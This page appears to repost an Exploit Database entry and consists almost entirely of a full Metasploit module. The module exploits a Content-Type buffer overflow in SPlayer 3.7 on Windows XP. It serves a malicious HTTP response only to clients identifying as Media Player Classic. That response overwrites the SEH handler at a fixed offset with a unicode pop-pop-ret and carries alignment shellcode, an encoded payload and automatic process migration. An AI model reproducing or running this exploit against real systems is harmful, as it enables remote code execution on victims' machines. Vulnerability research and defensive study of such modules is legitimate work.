SPlayer 3.7 – Content-Type Buffer Overflow (Metasploit)

• Exploit Database
• 34 阅读

• 作者： Metasploit
  日期： 2011-05-11
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17268/

• ##
  # $Id: splayer_content_type.rb 12581 2011-05-11 00:18:11Z sinn3r $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "SPlayer 3.7 Content-Type Buffer Overflow",
  			'Description'=> %q{
  					This module exploits a vulnerability in SPlayer v3.7 or piror.When SPlayer
  				requests the URL of a media file (video or audio), it is possible to gain arbitrary
  				remote code execution due to a buffer overflow caused by an exceeding length of data
  				as the 'Content-Type' parameter.
  			},
  			'License'=> MSF_LICENSE,
  			'Version'=> "$Revision: 12581 $",
  			'Author' =>
  				[
  					'xsploitedsec <xsploitedsecurity[at]gmail.com>',#Initial discovery, PoC
  					'sinn3r', #Metasploit
  				],
  			'References' =>
  				[
  					['URL', 'http://www.exploit-db.com/exploits/17243/'],
  				],
  			'Payload'=>
  				{
  					'BadChars'=> "\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f",
  					'StackAdjustment' => -3500,
  					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
  					'BufferRegister'=> 'ECX',
  				},
  			'DefaultOptions'=>
  				{
  					'ExitFunction' => "seh",
  					'InitialAutoRunScript' => 'migrate -f',
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[
  						'Windows XP SP2/XP3',
  						{
  							'Offset' => 2073,#Offset to SEH
  							'Ret'=> 0x7325,#Unicode P/P/R (splayer.exe)
  							'Max'=> 30000, #Max buffer size
  						}
  					],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "May 4 2011",
  			'DefaultTarget'=> 0))
  	end
  
  	def get_unicode_payload(p)
  		encoder = framework.encoders.create("x86/unicode_mixed")
  		encoder.datastore.import_options_from_hash( {'BufferRegister'=>'EAX'} )
  		unicode_payload = encoder.encode(p, nil, nil, platform)
  		return unicode_payload
  	end
  
  	def on_request_uri(cli, request)
  
  		agent = request.headers['User-Agent']
  		if agent !~ /Media Player Classic/
  			send_not_found(cli)
  			print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
  			return
  		end
  
  		nop = "\x73"
  
  		#MOV EAX,EDI; XOR AL,C3; INC EAX; XOR AL,79; PUSH EAX; POP ECX; JMP SHORT 0x40
  		alignment = "\x8b\xc7\x34\xc3\x40\x34\x79\x50\x59\xeb\x40"
  		padding = nop*6
  		p = get_unicode_payload(alignment + padding + payload.encoded)
  
  		sploit = rand_text_alpha(2073)
  		sploit << "\x61\x73"
  		sploit << "\x25\x73"
  		sploit << nop
  		sploit << "\x55"
  		sploit << nop
  		sploit << "\x58"
  		sploit << nop
  		sploit << "\x05\x19\x11"
  		sploit << nop
  		sploit << "\x2d\x11\x11"
  		sploit << nop
  		sploit << "\x50"
  		sploit << nop
  		sploit << "\x50"
  		sploit << nop
  		sploit << "\x5f"
  		sploit << nop
  		sploit << "\xc3"
  		sploit << rand_text_alpha(1000)
  		sploit << p
  		sploit << rand_text_alpha(target['Max']-sploit.length)
  
  		print_status("Sending malicious content-type to #{cli.peerhost}:#{cli.peerport}...")
  		send_response(cli, '', {'Content-Type'=>sploit})
  
  	end
  
  end